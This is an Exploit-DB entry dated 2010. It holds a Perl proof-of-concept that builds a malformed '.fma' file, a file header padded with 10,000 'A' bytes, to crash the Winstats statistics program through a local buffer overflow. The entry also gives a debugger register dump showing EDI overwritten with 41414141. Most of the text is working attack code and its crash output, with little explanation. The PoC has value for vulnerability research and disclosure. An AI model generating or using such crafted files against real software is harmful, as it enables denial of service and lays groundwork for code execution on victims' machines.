Exploit-DB #14032
Description: Winstats - '.fma' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-06-24
Author: Madjix

Exploit:
###################################################################
#Exploit Title : Winstats (.fma) local Buffer Overflow Poc
#tested on windows xp SP 3 FR
#Author: MadjiX
#Special Greets:His0k4 [ where are you :( ]
#Greets:Bibi-info , Silectovic , Volc4n0
#App: http://math.exeter.edu/rparris/peanut/wsfr32z.exe
###################################################################
#-->Fenètre-->1variable-->Fichier-->Ouvrir--> Open madjix.fma file
#Note:Open the file twice i dont no why
#EAX 0000060E
#ECX 00000000
#EDX 00D66898
#EBX 616D662E
#ESP 0012F74C
#EBP 0012F750
#ESI 00AD7AE0
#EDI 41414141
#EIP 00432675 wstatfr.00432675
#C 0  ES 0023 32bit 0(FFFFFFFF)
#P 1  CS 001B 32bit 0(FFFFFFFF)
#A 0  SS 0023 32bit 0(FFFFFFFF)
#Z 0  DS 0023 32bit 0(FFFFFFFF)
#S 0  FS 003B 32bit 7FFDF000(FFF)
#T 0  GS 0000 NULL
###################################################################
my $file= "MadjiX.fma";

my $hd = "\xB9\x01\x00\x00\x09\x00\x00\x00".
"\x50\x00\x00\x00\x5D\x00\x00\x00".
"\x00\x02\x00\x00\x00\x02\x00\x00".
"\x00\x00\x00\x00\x01\x00\x00\x00".
"\x3D\x00\x00\x00\xD9\xFF\xFF\xFF".
"\x2C\x01\x00\x00\x64\x00\x00\x00".
"\x64\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x0A";

my $ft = "\x0A\x00\x00\x00\x0A\x00\x00\x00\x0A\x00".
"\x00\x00\x0C\x00\x00\x00\xF0\xFF\xFF\xFF".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x31\x43\x6F\x75\x72\x69\x65".
"\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x90\x01\x00\x00\x00\x00\x00\x02\x08".
"\x02\x01\x31\x53\x79\x6D\x62\x6F\x6C\x00".
"\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08".
"\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72".
"\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xF5\xFF\xFF\xFF\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08".
"\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72".
"\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xF0\xFF\xFF\xFF\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08".
"\x02\x01\x02\x54\x69\x6D\x65\x73\x00\x72".
"\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xF5\xFF\xFF\xFF\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08".
"\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72".
"\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08".
"\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72".
"\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x09\x00\x10\x00\x00\x00\x00\x00\x00".
"\x80\x20\x13\x14\x36\xF7\x57\x26\x96\x57".
"\x22\x04\xE6\x57\x70\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00";

my $junk = "\x41" x 10000 ;

open($FILE,">$file");
print $FILE $hd.$junk.$ft;
close($FILE);